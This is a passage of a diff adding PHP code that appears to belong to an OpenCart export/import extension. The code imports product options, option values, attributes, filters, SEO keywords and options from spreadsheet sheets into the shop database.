+ $this->storeRewardIntoDatabase( $reward, $old_product_reward_ids, $customer_group_ids );
+ $previous_product_id = $product_id;
+ }
+ if ($incremental) {
+ $this->deleteUnlistedRewards( $unlisted_product_ids );
+ }
+ }
+
+
+ protected function getOptionIds() {
+ $language_id = $this->getDefaultLanguageId();
+ $sql = "SELECT option_id, name FROM `".DB_PREFIX."option_description` WHERE language_id='".(int)$language_id."'";
+ $query = $this->db->query( $sql );
+ $option_ids = array();
+ foreach ($query->rows as $row) {
+ $option_id = $row['option_id'];
+ $name = htmlspecialchars_decode($row['name']);
+ $option_ids[$name] = $option_id;
+ }
+ return $option_ids;
+ }
+
+
+ protected function storeProductOptionIntoDatabase( &$product_option, &$old_product_option_ids ) {
+ // Opencart versions from 2.0 onwards use product_option.value instead of the older product_option.option_value
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."product_option` LIKE 'value'";
+ $query = $this->db->query( $sql );
+ $exist_po_value = ($query->num_rows > 0) ? true : false;
+
+ // DB query for storing the product option
+ $product_id = $product_option['product_id'];
+ $option_id = $product_option['option_id'];
+ $option_value = $product_option['option_value'];
+ $required = $product_option['required'];
+ $required = ((strtoupper($required)=="TRUE") || (strtoupper($required)=="YES") || (strtoupper($required)=="ENABLED")) ? 1 : 0;
+ if (isset($old_product_option_ids[$product_id][$option_id])) {
+ $product_option_id = $old_product_option_ids[$product_id][$option_id];
+ if ($exist_po_value) {
+ $sql = "INSERT INTO `".DB_PREFIX."product_option` (`product_option_id`,`product_id`,`option_id`,`value`,`required` ) VALUES ";
+ } else {
+ $sql = "INSERT INTO `".DB_PREFIX."product_option` (`product_option_id`,`product_id`,`option_id`,`option_value`,`required` ) VALUES ";
+ }
+ $sql .= "($product_option_id,$product_id,$option_id,'".$this->db->escape($option_value)."',$required)";
+ $this->db->query($sql);
+ unset($old_product_option_ids[$product_id][$option_id]);
+ } else {
+ if ($exist_po_value) {
+ $sql = "INSERT INTO `".DB_PREFIX."product_option` (`product_id`,`option_id`,`value`,`required` ) VALUES ";
+ } else {
+ $sql = "INSERT INTO `".DB_PREFIX."product_option` (`product_id`,`option_id`,`option_value`,`required` ) VALUES ";
+ }
+ $sql .= "($product_id,$option_id,'".$this->db->escape($option_value)."',$required)";
+ $this->db->query($sql);
+ }
+ }
+
+
+ protected function deleteProductOptions() {
+ $sql = "TRUNCATE TABLE `".DB_PREFIX."product_option`";
+ $this->db->query( $sql );
+ }
+
+
+ protected function deleteProductOption( $product_id ) {
+ $sql = "SELECT product_option_id, product_id, option_id FROM `".DB_PREFIX."product_option` WHERE product_id='".(int)$product_id."'";
+ $query = $this->db->query( $sql );
+ $old_product_option_ids = array();
+ foreach ($query->rows as $row) {
+ $product_option_id = $row['product_option_id'];
+ $product_id = $row['product_id'];
+ $option_id = $row['option_id'];
+ $old_product_option_ids[$product_id][$option_id] = $product_option_id;
+ }
+ if ($old_product_option_ids) {
+ $sql = "DELETE FROM `".DB_PREFIX."product_option` WHERE product_id='".(int)$product_id."'";
+ $this->db->query( $sql );
+ }
+ return $old_product_option_ids;
+ }
+
+
+ protected function deleteUnlistedProductOptions( &$unlisted_product_ids ) {
+ foreach ($unlisted_product_ids as $product_id) {
+ $sql = "DELETE FROM `".DB_PREFIX."product_option` WHERE product_id='".(int)$product_id."'";
+ $this->db->query( $sql );
+ }
+ }
+
+
+ // function for reading additional cells in class extensions
+ protected function moreProductOptionCells( $i, &$j, &$worksheet, &$product_option ) {
+ return;
+ }
+
+
+ protected function uploadProductOptions( &$reader, $incremental, &$available_product_ids ) {
+ // get worksheet, if not there return immediately
+ $data = $reader->getSheetByName( 'ProductOptions' );
+ if ($data==null) {
+ return;
+ }
+
+ // if incremental then find current product IDs else delete all old product options
+ if ($incremental) {
+ $unlisted_product_ids = $available_product_ids;
+ } else {
+ $this->deleteProductOptions();
+ }
+
+ if (!$this->config->get( 'export_import_settings_use_option_id' )) {
+ $option_ids = $this->getOptionIds();
+ }
+
+ // load the worksheet cells and store them to the database
+ $old_product_option_ids = array();
+ $previous_product_id = 0;
+ $i = 0;
+ $k = $data->getHighestRow();
+ for ($i=0; $i<$k; $i+=1) {
+ $j = 1;
+ if ($i==0) {
+ continue;
+ }
+ $product_id = trim($this->getCell($data,$i,$j++));
+ if ($product_id=='') {
+ continue;
+ }
+ if ($this->config->get( 'export_import_settings_use_option_id' )) {
+ $option_id = $this->getCell($data,$i,$j++,'');
+ } else {
+ $option_name = $this->getCell($data,$i,$j++);
+ $option_id = isset($option_ids[$option_name]) ? $option_ids[$option_name] : '';
+ }
+ if ($option_id=='') {
+ continue;
+ }
+ $option_value = $this->getCell($data,$i,$j++,'');
+ $required = $this->getCell($data,$i,$j++,'0');
+ $product_option = array();
+ $product_option['product_id'] = $product_id;
+ $product_option['option_id'] = $option_id;
+ $product_option['option_value'] = $option_value;
+ $product_option['required'] = $required;
+ if (($incremental) && ($product_id != $previous_product_id)) {
+ $old_product_option_ids = $this->deleteProductOption( $product_id );
+ if (isset($unlisted_product_ids[$product_id])) {
+ unset($unlisted_product_ids[$product_id]);
+ }
+ }
+ $this->moreProductOptionCells( $i, $j, $data, $product_option );
+ $this->storeProductOptionIntoDatabase( $product_option, $old_product_option_ids );
+ $previous_product_id = $product_id;
+ }
+ if ($incremental) {
+ $this->deleteUnlistedProductOptions( $unlisted_product_ids );
+ }
+ }
+
+
+ protected function getOptionValueIds() {
+ $language_id = $this->getDefaultLanguageId();
+ $sql = "SELECT option_id, option_value_id, name FROM `".DB_PREFIX."option_value_description` ";
+ $sql .= "WHERE language_id='".(int)$language_id."'";
+ $query = $this->db->query( $sql );
+ $option_value_ids = array();
+ foreach ($query->rows as $row) {
+ $option_id = $row['option_id'];
+ $option_value_id = $row['option_value_id'];
+ $name = htmlspecialchars_decode($row['name']);
+ $option_value_ids[$option_id][$name] = $option_value_id;
+ }
+ return $option_value_ids;
+ }
+
+
+ protected function getProductOptionIds( $product_id ) {
+ $sql = "SELECT product_option_id, option_id FROM `".DB_PREFIX."product_option` ";
+ $sql .= "WHERE product_id='".(int)$product_id."'";
+ $query = $this->db->query( $sql );
+ $product_option_ids = array();
+ foreach ($query->rows as $row) {
+ $product_option_id = $row['product_option_id'];
+ $option_id = $row['option_id'];
+ $product_option_ids[$option_id] = $product_option_id;
+ }
+ return $product_option_ids;
+ }
+
+
+ protected function storeProductOptionValueIntoDatabase( &$product_option_value, &$old_product_option_value_ids ) {
+ $product_id = $product_option_value['product_id'];
+ $option_id = $product_option_value['option_id'];
+ $option_value_id = $product_option_value['option_value_id'];
+ $quantity = $product_option_value['quantity'];
+ $subtract = $product_option_value['subtract'];
+ $subtract = ((strtoupper($subtract)=="TRUE") || (strtoupper($subtract)=="YES") || (strtoupper($subtract)=="ENABLED")) ? 1 : 0;
+ $price = $product_option_value['price'];
+ $price_prefix = $product_option_value['price_prefix'];
+ $points = $product_option_value['points'];
+ $points_prefix = $product_option_value['points_prefix'];
+ $weight = $product_option_value['weight'];
+ $weight_prefix = $product_option_value['weight_prefix'];
+ $product_option_id = $product_option_value['product_option_id'];
+ if (isset($old_product_option_value_ids[$product_id][$option_id][$option_value_id])) {
+ $product_option_value_id = $old_product_option_value_ids[$product_id][$option_id][$option_value_id];
+ $sql = "INSERT INTO `".DB_PREFIX."product_option_value` ";
+ $sql .= "(`product_option_value_id`,`product_option_id`,`product_id`,`option_id`,`option_value_id`,`quantity`,`subtract`,`price`,`price_prefix`,`points`,`points_prefix`,`weight`,`weight_prefix` ) VALUES ";
+ $sql .= "($product_option_value_id,$product_option_id,$product_id,$option_id,$option_value_id,$quantity,$subtract,$price,'$price_prefix',$points,'$points_prefix',$weight,'$weight_prefix')";
+ $this->db->query($sql);
+ unset($old_product_option_value_ids[$product_id][$option_id][$option_value_id]);
+ } else {
+ $sql = "INSERT INTO `".DB_PREFIX."product_option_value` ";
+ $sql .= "(`product_option_id`,`product_id`,`option_id`,`option_value_id`,`quantity`,`subtract`,`price`,`price_prefix`,`points`,`points_prefix`,`weight`,`weight_prefix` ) VALUES ";
+ $sql .= "($product_option_id,$product_id,$option_id,$option_value_id,$quantity,$subtract,$price,'$price_prefix',$points,'$points_prefix',$weight,'$weight_prefix')";
+ $this->db->query($sql);
+ }
+ }
+
+
+ protected function deleteProductOptionValues() {
+ $sql = "TRUNCATE TABLE `".DB_PREFIX."product_option_value`";
+ $this->db->query( $sql );
+ }
+
+
+ protected function deleteProductOptionValue( $product_id ) {
+ $sql = "SELECT product_option_value_id, product_id, option_id, option_value_id FROM `".DB_PREFIX."product_option_value` WHERE product_id='".(int)$product_id."'";
+ $query = $this->db->query( $sql );
+ $old_product_option_value_ids = array();
+ foreach ($query->rows as $row) {
+ $product_option_value_id = $row['product_option_value_id'];
+ $product_id = $row['product_id'];
+ $option_id = $row['option_id'];
+ $option_value_id = $row['option_value_id'];
+ $old_product_option_value_ids[$product_id][$option_id][$option_value_id] = $product_option_value_id;
+ }
+ if ($old_product_option_value_ids) {
+ $sql = "DELETE FROM `".DB_PREFIX."product_option_value` WHERE product_id='".(int)$product_id."'";
+ $this->db->query( $sql );
+ }
+ return $old_product_option_value_ids;
+ }
+
+
+ protected function deleteUnlistedProductOptionValues( &$unlisted_product_ids ) {
+ foreach ($unlisted_product_ids as $product_id) {
+ $sql = "DELETE FROM `".DB_PREFIX."product_option_value` WHERE product_id='".(int)$product_id."'";
+ $this->db->query( $sql );
+ }
+ }
+
+
+ // function for reading additional cells in class extensions
+ protected function moreProductOptionValueCells( $i, &$j, &$worksheet, &$product_option_value ) {
+ return;
+ }
+
+
+ protected function uploadProductOptionValues( &$reader, $incremental, &$available_product_ids ) {
+ // get worksheet, if not there return immediately
+ $data = $reader->getSheetByName( 'ProductOptionValues' );
+ if ($data==null) {
+ return;
+ }
+
+ // if incremental then find current product IDs else delete all old product option values
+ if ($incremental) {
+ $unlisted_product_ids = $available_product_ids;
+ } else {
+ $this->deleteProductOptionValues();
+ }
+
+ if (!$this->config->get( 'export_import_settings_use_option_id' )) {
+ $option_ids = $this->getOptionIds();
+ }
+ if (!$this->config->get( 'export_import_settings_use_option_value_id' )) {
+ $option_value_ids = $this->getOptionValueIds();
+ }
+
+ // load the worksheet cells and store them to the database
+ $old_product_option_value_ids = array();
+ $previous_product_id = 0;
+ $product_option_id = 0;
+ $i = 0;
+ $k = $data->getHighestRow();
+ for ($i=0; $i<$k; $i+=1) {
+ $j = 1;
+ if ($i==0) {
+ continue;
+ }
+ $product_id = trim($this->getCell($data,$i,$j++));
+ if ($product_id=='') {
+ continue;
+ }
+ if ($this->config->get( 'export_import_settings_use_option_id' )) {
+ $option_id = $this->getCell($data,$i,$j++,'');
+ } else {
+ $option_name = $this->getCell($data,$i,$j++);
+ $option_id = isset($option_ids[$option_name]) ? $option_ids[$option_name] : '';
+ }
+ if ($option_id=='') {
+ continue;
+ }
+ if ($this->config->get( 'export_import_settings_use_option_value_id' )) {
+ $option_value_id = $this->getCell($data,$i,$j++,'');
+ } else {
+ $option_value_name = $this->getCell($data,$i,$j++);
+ $option_value_id = isset($option_value_ids[$option_id][$option_value_name]) ? $option_value_ids[$option_id][$option_value_name] : '';
+ }
+ if ($option_value_id=='') {
+ continue;
+ }
+ $quantity = $this->getCell($data,$i,$j++,'0');
+ $subtract = $this->getCell($data,$i,$j++,'false');
+ $price = $this->getCell($data,$i,$j++,'0');
+ $price_prefix = $this->getCell($data,$i,$j++,'+');
+ $points = $this->getCell($data,$i,$j++,'0');
+ $points_prefix = $this->getCell($data,$i,$j++,'+');
+ $weight = $this->getCell($data,$i,$j++,'0.00');
+ $weight_prefix = $this->getCell($data,$i,$j++,'+');
+ if ($product_id != $previous_product_id) {
+ $product_option_ids = $this->getProductOptionIds( $product_id );
+ }
+ $product_option_value = array();
+ $product_option_value['product_id'] = $product_id;
+ $product_option_value['option_id'] = $option_id;
+ $product_option_value['option_value_id'] = $option_value_id;
+ $product_option_value['quantity'] = $quantity;
+ $product_option_value['subtract'] = $subtract;
+ $product_option_value['price'] = $price;
+ $product_option_value['price_prefix'] = $price_prefix;
+ $product_option_value['points'] = $points;
+ $product_option_value['points_prefix'] = $points_prefix;
+ $product_option_value['weight'] = $weight;
+ $product_option_value['weight_prefix'] = $weight_prefix;
+ $product_option_value['product_option_id'] = isset($product_option_ids[$option_id]) ? $product_option_ids[$option_id] : 0;
+ if (($incremental) && ($product_id != $previous_product_id)) {
+ $old_product_option_value_ids = $this->deleteProductOptionValue( $product_id );
+ if (isset($unlisted_product_ids[$product_id])) {
+ unset($unlisted_product_ids[$product_id]);
+ }
+ }
+ $this->moreProductOptionValueCells( $i, $j, $data, $product_option_value );
+ $this->storeProductOptionValueIntoDatabase( $product_option_value, $old_product_option_value_ids );
+ $previous_product_id = $product_id;
+ }
+ if ($incremental) {
+ $this->deleteUnlistedProductOptionValues( $unlisted_product_ids );
+ }
+ }
+
+
+ protected function getAttributeGroupIds() {
+ $language_id = $this->getDefaultLanguageId();
+ $sql = "SELECT attribute_group_id, name FROM `".DB_PREFIX."attribute_group_description` ";
+ $sql .= "WHERE language_id='".(int)$language_id."'";
+ $query = $this->db->query( $sql );
+ $attribute_group_ids = array();
+ foreach ($query->rows as $row) {
+ $attribute_group_id = $row['attribute_group_id'];
+ $name = html_entity_decode($row['name'],ENT_QUOTES,'UTF-8');
+ $attribute_group_ids[$name] = $attribute_group_id;
+ }
+ return $attribute_group_ids;
+ }
+
+
+ protected function getAttributeIds() {
+ $language_id = $this->getDefaultLanguageId();
+ $sql = "SELECT a.attribute_group_id, ad.attribute_id, ad.name FROM `".DB_PREFIX."attribute_description` ad ";
+ $sql .= "INNER JOIN `".DB_PREFIX."attribute` a ON a.attribute_id=ad.attribute_id ";
+ $sql .= "WHERE ad.language_id='".(int)$language_id."'";
+ $query = $this->db->query( $sql );
+ $attribute_ids = array();
+ foreach ($query->rows as $row) {
+ $attribute_group_id = $row['attribute_group_id'];
+ $attribute_id = $row['attribute_id'];
+ $name = html_entity_decode($row['name'],ENT_QUOTES,'UTF-8');
+ $attribute_ids[$attribute_group_id][$name] = $attribute_id;
+ }
+ return $attribute_ids;
+ }
+
+
+ protected function storeProductAttributeIntoDatabase( &$product_attribute, &$languages ) {
+ $product_id = $product_attribute['product_id'];
+ $attribute_id = $product_attribute['attribute_id'];
+ $texts = $product_attribute['texts'];
+ foreach ($languages as $language) {
+ $language_code = $language['code'];
+ $language_id = $language['language_id'];
+ $text = isset($texts[$language_code]) ? $this->db->escape($texts[$language_code]) : '';
+ $sql = "INSERT INTO `".DB_PREFIX."product_attribute` (`product_id`, `attribute_id`, `language_id`, `text`) VALUES ";
+ $sql .= "( $product_id, $attribute_id, $language_id, '$text' );";
+ $this->db->query( $sql );
+ }
+ }
+
+
+ protected function deleteProductAttributes() {
+ $sql = "TRUNCATE TABLE `".DB_PREFIX."product_attribute`";
+ $this->db->query( $sql );
+ }
+
+
+ protected function deleteProductAttribute( $product_id ) {
+ $sql = "DELETE FROM `".DB_PREFIX."product_attribute` WHERE product_id='".(int)$product_id."'";
+ $this->db->query( $sql );
+ }
+
+
+ protected function deleteUnlistedProductAttributes( &$unlisted_product_ids ) {
+ foreach ($unlisted_product_ids as $product_id) {
+ $sql = "DELETE FROM `".DB_PREFIX."product_attribute` WHERE product_id='".(int)$product_id."'";
+ $this->db->query( $sql );
+ }
+ }
+
+
+ // function for reading additional cells in class extensions
+ protected function moreProductAttributeCells( $i, &$j, &$worksheet, &$product_attribute ) {
+ return;
+ }
+
+
+ protected function uploadProductAttributes( &$reader, $incremental, &$available_product_ids ) {
+ // get worksheet, if not there return immediately
+ $data = $reader->getSheetByName( 'ProductAttributes' );
+ if ($data==null) {
+ return;
+ }
+
+ // if incremental then find current product IDs else delete all old product attributes
+ if ($incremental) {
+ $unlisted_product_ids = $available_product_ids;
+ } else {
+ $this->deleteProductAttributes();
+ }
+
+ if (!$this->config->get( 'export_import_settings_use_attribute_group_id' )) {
+ $attribute_group_ids = $this->getAttributeGroupIds();
+ }
+ if (!$this->config->get( 'export_import_settings_use_attribute_id' )) {
+ $attribute_ids = $this->getAttributeIds();
+ }
+
+ // load the worksheet cells and store them to the database
+ $languages = $this->getLanguages();
+ $previous_product_id = 0;
+ $first_row = array();
+ $i = 0;
+ $k = $data->getHighestRow();
+ for ($i=0; $i<$k; $i+=1) {
+ if ($i==0) {
+ $max_col = PhpOffice\PhpSpreadsheet\Cell\Coordinate::columnIndexFromString( $data->getHighestColumn() );
+ for ($j=1; $j<=$max_col; $j+=1) {
+ $first_row[] = $this->getCell($data,$i,$j);
+ }
+ continue;
+ }
+ $j = 1;
+ $product_id = trim($this->getCell($data,$i,$j++));
+ if ($product_id=='') {
+ continue;
+ }
+ if ($this->config->get( 'export_import_settings_use_attribute_group_id' )) {
+ $attribute_group_id = $this->getCell($data,$i,$j++,'');
+ } else {
+ $attribute_group_name = $this->getCell($data,$i,$j++);
+ $attribute_group_id = isset($attribute_group_ids[$attribute_group_name]) ? $attribute_group_ids[$attribute_group_name] : '';
+ }
+ if ($attribute_group_id=='') {
+ continue;
+ }
+ if ($this->config->get( 'export_import_settings_use_attribute_id' )) {
+ $attribute_id = $this->getCell($data,$i,$j++,'');
+ } else {
+ $attribute_name = $this->getCell($data,$i,$j++);
+ $attribute_id = isset($attribute_ids[$attribute_group_id][$attribute_name]) ? $attribute_ids[$attribute_group_id][$attribute_name] : '';
+ }
+ if ($attribute_id=='') {
+ continue;
+ }
+ $texts = array();
+ while (($j<=$max_col) && $this->startsWith($first_row[$j-1],"text(")) {
+ $language_code = substr($first_row[$j-1],strlen("text("),strlen($first_row[$j-1])-strlen("text(")-1);
+ $text = $this->getCell($data,$i,$j++);
+ $text = htmlspecialchars( $text );
+ $texts[$language_code] = $text;
+ }
+ $product_attribute = array();
+ $product_attribute['product_id'] = $product_id;
+ $product_attribute['attribute_group_id'] = $attribute_group_id;
+ $product_attribute['attribute_id'] = $attribute_id;
+ $product_attribute['texts'] = $texts;
+ if (($incremental) && ($product_id != $previous_product_id)) {
+ $this->deleteProductAttribute( $product_id );
+ if (isset($unlisted_product_ids[$product_id])) {
+ unset($unlisted_product_ids[$product_id]);
+ }
+ }
+ $this->moreProductAttributeCells( $i, $j, $data, $product_attribute );
+ $this->storeProductAttributeIntoDatabase( $product_attribute, $languages );
+ $previous_product_id = $product_id;
+ }
+ if ($incremental) {
+ $this->deleteUnlistedProductAttributes( $unlisted_product_ids );
+ }
+ }
+
+
+ protected function getFilterGroupIds() {
+ $language_id = $this->getDefaultLanguageId();
+ $sql = "SELECT filter_group_id, name FROM `".DB_PREFIX."filter_group_description` ";
+ $sql .= "WHERE language_id='".(int)$language_id."'";
+ $query = $this->db->query( $sql );
+ $filter_group_ids = array();
+ foreach ($query->rows as $row) {
+ $filter_group_id = $row['filter_group_id'];
+ $name = html_entity_decode($row['name'],ENT_QUOTES,'UTF-8');
+ $filter_group_ids[$name] = $filter_group_id;
+ }
+ return $filter_group_ids;
+ }
+
+
+ protected function getFilterIds() {
+ $language_id = $this->getDefaultLanguageId();
+ $sql = "SELECT f.filter_group_id, fd.filter_id, fd.name FROM `".DB_PREFIX."filter_description` fd ";
+ $sql .= "INNER JOIN `".DB_PREFIX."filter` f ON f.filter_id=fd.filter_id ";
+ $sql .= "WHERE fd.language_id='".(int)$language_id."'";
+ $query = $this->db->query( $sql );
+ $filter_ids = array();
+ foreach ($query->rows as $row) {
+ $filter_group_id = $row['filter_group_id'];
+ $filter_id = $row['filter_id'];
+ $name = html_entity_decode($row['name'],ENT_QUOTES,'UTF-8');
+ $filter_ids[$filter_group_id][$name] = $filter_id;
+ }
+ return $filter_ids;
+ }
+
+
+ protected function storeProductFilterIntoDatabase( &$product_filter, &$languages ) {
+ $product_id = $product_filter['product_id'];
+ $filter_id = $product_filter['filter_id'];
+ $sql = "INSERT INTO `".DB_PREFIX."product_filter` (`product_id`, `filter_id`) VALUES ";
+ $sql .= "( $product_id, $filter_id );";
+ $this->db->query( $sql );
+ }
+
+
+ protected function deleteProductFilters() {
+ $sql = "TRUNCATE TABLE `".DB_PREFIX."product_filter`";
+ $this->db->query( $sql );
+ }
+
+
+ protected function deleteProductFilter( $product_id ) {
+ $sql = "DELETE FROM `".DB_PREFIX."product_filter` WHERE product_id='".(int)$product_id."'";
+ $this->db->query( $sql );
+ }
+
+
+ protected function deleteUnlistedProductFilters( &$unlisted_product_ids ) {
+ foreach ($unlisted_product_ids as $product_id) {
+ $sql = "DELETE FROM `".DB_PREFIX."product_filter` WHERE product_id='".(int)$product_id."'";
+ $this->db->query( $sql );
+ }
+ }
+
+
+ // function for reading additional cells in class extensions
+ protected function moreProductFilterCells( $i, &$j, &$worksheet, &$product_filter ) {
+ return;
+ }
+
+
+ protected function uploadProductFilters( &$reader, $incremental, &$available_product_ids ) {
+ // get worksheet, if not there return immediately
+ $data = $reader->getSheetByName( 'ProductFilters' );
+ if ($data==null) {
+ return;
+ }
+
+ // if incremental then find current product IDs else delete all old product filters
+ if ($incremental) {
+ $unlisted_product_ids = $available_product_ids;
+ } else {
+ $this->deleteProductFilters();
+ }
+
+ if (!$this->config->get( 'export_import_settings_use_filter_group_id' )) {
+ $filter_group_ids = $this->getFilterGroupIds();
+ }
+ if (!$this->config->get( 'export_import_settings_use_filter_id' )) {
+ $filter_ids = $this->getFilterIds();
+ }
+
+ // load the worksheet cells and store them to the database
+ $languages = $this->getLanguages();
+ $previous_product_id = 0;
+ $first_row = array();
+ $i = 0;
+ $k = $data->getHighestRow();
+ for ($i=0; $i<$k; $i+=1) {
+ if ($i==0) {
+ $max_col = PhpOffice\PhpSpreadsheet\Cell\Coordinate::columnIndexFromString( $data->getHighestColumn() );
+ for ($j=1; $j<=$max_col; $j+=1) {
+ $first_row[] = $this->getCell($data,$i,$j);
+ }
+ continue;
+ }
+ $j = 1;
+ $product_id = trim($this->getCell($data,$i,$j++));
+ if ($product_id=='') {
+ continue;
+ }
+ if ($this->config->get( 'export_import_settings_use_filter_group_id' )) {
+ $filter_group_id = $this->getCell($data,$i,$j++,'');
+ } else {
+ $filter_group_name = $this->getCell($data,$i,$j++);
+ $filter_group_id = isset($filter_group_ids[$filter_group_name]) ? $filter_group_ids[$filter_group_name] : '';
+ }
+ if ($filter_group_id=='') {
+ continue;
+ }
+ if ($this->config->get( 'export_import_settings_use_filter_id' )) {
+ $filter_id = $this->getCell($data,$i,$j++,'');
+ } else {
+ $filter_name = $this->getCell($data,$i,$j++);
+ $filter_id = isset($filter_ids[$filter_group_id][$filter_name]) ? $filter_ids[$filter_group_id][$filter_name] : '';
+ }
+ if ($filter_id=='') {
+ continue;
+ }
+ $product_filter = array();
+ $product_filter['product_id'] = $product_id;
+ $product_filter['filter_group_id'] = $filter_group_id;
+ $product_filter['filter_id'] = $filter_id;
+ if (($incremental) && ($product_id != $previous_product_id)) {
+ $this->deleteProductFilter( $product_id );
+ if (isset($unlisted_product_ids[$product_id])) {
+ unset($unlisted_product_ids[$product_id]);
+ }
+ }
+ $this->moreProductFilterCells( $i, $j, $data, $product_filter );
+ $this->storeProductFilterIntoDatabase( $product_filter, $languages );
+ $previous_product_id = $product_id;
+ }
+ if ($incremental) {
+ $this->deleteUnlistedProductFilters( $unlisted_product_ids );
+ }
+ }
+
+
+ protected function storeProductSEOKeywordIntoDatabase( &$product_seo_keyword, &$languages, $old_seo_url_ids ) {
+ $product_id = $product_seo_keyword['product_id'];
+ $store_id = $product_seo_keyword['store_id'];
+ $keywords = $product_seo_keyword['keywords'];
+ foreach ($languages as $language) {
+ $language_id = $language['language_id'];
+ $language_code = $language['code'];
+ if (isset($keywords[$language_code])) {
+ $keyword = $keywords[$language_code];
+ if ($keyword != '') {
+ if (isset($old_seo_url_ids[$product_id][$store_id][$language_id])) {
+ $seo_url_id = $old_seo_url_ids[$product_id][$store_id][$language_id];
+ $sql = "INSERT INTO `".DB_PREFIX."seo_url` (`seo_url_id`, `store_id`, `language_id`, `query`, `keyword`) VALUES ";
+ $sql .= "($seo_url_id, $store_id, $language_id, 'product_id=$product_id', '".$this->db->escape($keyword)."');";
+ $this->db->query( $sql );
+ unset($old_seo_url_ids[$product_id][$store_id][$language_id]);
+ } else {
+ $sql = "INSERT INTO `".DB_PREFIX."seo_url` (`store_id`, `language_id`, `query`, `keyword`) VALUES ";
+ $sql .= "($store_id, $language_id, 'product_id=$product_id', '".$this->db->escape($keyword)."');";
+ $this->db->query( $sql );
+ }
+ }
+ }
+ }
+ }
+
+
+ protected function deleteProductSEOKeywords() {
+ $sql = "DELETE FROM `".DB_PREFIX."seo_url` WHERE query LIKE 'product_id=%';";
+ $this->db->query( $sql );
+ $sql = "SELECT MAX(seo_url_id) AS max_seo_url_id FROM `".DB_PREFIX."seo_url`";
+ $query = $this->db->query( $sql );
+ $max_seo_url_id = isset( $query->row['max_seo_url_id'] ) ? $query->row['max_seo_url_id'] : 0;
+ $auto_increment = $max_seo_url_id + 1;
+ $sql = "ALTER TABLE `".DB_PREFIX."seo_url` AUTO_INCREMENT = $auto_increment;";
+ $this->db->query( $sql );
+ }
+
+
+ protected function deleteProductSEOKeyword( $product_id ) {
+ $old_seo_url_ids = array();
+ $sql = "SELECT * FROM `".DB_PREFIX."seo_url` WHERE query='product_id=".(int)$product_id."';";
+ $query = $this->db->query( $sql );
+ foreach ($query->rows as $row) {
+ $seo_url_id = $row['seo_url_id'];
+ $store_id = $row['store_id'];
+ $product_id = (int)substr($row['query'],strlen('product_id='));
+ $language_id = $row['language_id'];
+ $old_seo_url_ids[$product_id][$store_id][$language_id] = $seo_url_id;
+ }
+ $sql = "DELETE FROM `".DB_PREFIX."seo_url` WHERE query='product_id=".(int)$product_id."';";
+ $this->db->query( $sql );
+ return $old_seo_url_ids;
+ }
+
+
+ protected function deleteUnlistedProductSEOKeywords( &$unlisted_product_ids ) {
+ foreach ($unlisted_product_ids as $product_id) {
+ $sql = "DELETE FROM `".DB_PREFIX."seo_url` WHERE query='product_id=".(int)$product_id."';";
+ $this->db->query( $sql );
+ }
+ }
+
+
+ // function for reading additional cells in class extensions
+ protected function moreProductSEOKeywordCells( $i, &$j, &$worksheet, &$product_seo_keyword ) {
+ return;
+ }
+
+
+ protected function uploadProductSEOKeywords( &$reader, $incremental, &$available_product_ids ) {
+ // get worksheet, if not there return immediately
+ $data = $reader->getSheetByName( 'ProductSEOKeywords' );
+ if ($data==null) {
+ return;
+ }
+
+ // if DB table 'seo_url' doesn't exist (OpenCart 1.5.x, 2.x versions) then return immediately
+ if (!$this->use_table_seo_url) {
+ return;
+ }
+
+ // if incremental then find current product IDs else delete all old product SEO keywords
+ if ($incremental) {
+ $unlisted_product_ids = $available_product_ids;
+ } else {
+ $this->deleteProductSEOKeywords();
+ }
+
+ // load the worksheet cells and store them to the database
+ $old_seo_url_ids = array();
+ $languages = $this->getLanguages();
+ $previous_product_id = 0;
+ $first_row = array();
+ $i = 0;
+ $k = $data->getHighestRow();
+ for ($i=0; $i<$k; $i+=1) {
+ if ($i==0) {
+ $max_col = PhpOffice\PhpSpreadsheet\Cell\Coordinate::columnIndexFromString( $data->getHighestColumn() );
+ for ($j=1; $j<=$max_col; $j+=1) {
+ $first_row[] = $this->getCell($data,$i,$j);
+ }
+ continue;
+ }
+ $j = 1;
+ $product_id = trim($this->getCell($data,$i,$j++));
+ if ($product_id=='') {
+ continue;
+ }
+ $store_id = trim($this->getCell($data,$i,$j++));
+ if ($store_id=='') {
+ continue;
+ }
+ $keywords = array();
+ while (($j<=$max_col) && $this->startsWith($first_row[$j-1],"keyword(")) {
+ $language_code = substr($first_row[$j-1],strlen("keyword("),strlen($first_row[$j-1])-strlen("keyword(")-1);
+ $keyword = trim($this->getCell($data,$i,$j++,''));
+ $keyword = htmlspecialchars( $keyword );
+ $keywords[$language_code] = $keyword;
+ }
+ $product_seo_keyword = array();
+ $product_seo_keyword['product_id'] = $product_id;
+ $product_seo_keyword['store_id'] = $store_id;
+ $product_seo_keyword['keywords'] = $keywords;
+ if (($incremental) && ($product_id != $previous_product_id)) {
+ $old_seo_url_ids = $this->deleteProductSEOKeyword( $product_id );
+ if (isset($unlisted_product_ids[$product_id])) {
+ unset($unlisted_product_ids[$product_id]);
+ }
+ }
+ $this->moreProductSEOKeywordCells( $i, $j, $data, $product_seo_keyword );
+ $this->storeProductSEOKeywordIntoDatabase( $product_seo_keyword, $languages, $old_seo_url_ids );
+ $previous_product_id = $product_id;
+ }
+ if ($incremental) {
+ $this->deleteUnlistedProductSEOKeywords( $unlisted_product_ids );
+ }
+ }
+
+
+ protected function storeOptionIntoDatabase( &$option, &$languages ) {
+ $option_id = $option['option_id'];
+ $type = $option['type'];
+ $sort_order = $option['sort_order'];
+ $names = $option['names'];
+ $sql = "INSERT INTO `".DB_PREFIX."option` (`option_id`,`type`,`sort_order`) VALUES ";
+ $sql .= "( $option_id, '".$this->db->escape($type)."', $sort_order );";
+ $this->db->query( $sql );
+ foreach ($languages as $language) {
+ $language_code = $language['code'];
+ $language_id = $language['language_id'];
+ $name = isset($names[$language_code]) ? $this->db->escape($names[$language_code]) : '';
+ $sql = "INSERT INTO `".DB_PREFIX."option_description` (`option_id`, `language_id`, `name`) VALUES ";
+ $sql .= "( $option_id, $language_id, '$name' );";
+ $this->db->query( $sql );
+ }
+ }
+
+
+ protected function deleteOptions() {
+ $sql = "TRUNCATE TABLE `".DB_PREFIX."option`";
+ $this->db->query( $sql );
+ $sql = "TRUNCATE TABLE `".DB_PREFIX."option_description`";
+ $this->db->query( $sql );
+ }
+
+
+ protected function deleteOption( $option_id ) {
+ $sql = "DELETE FROM `".DB_PREFIX."option` WHERE option_id='".(int)$option_id."'";
+ $this->db->query( $sql );
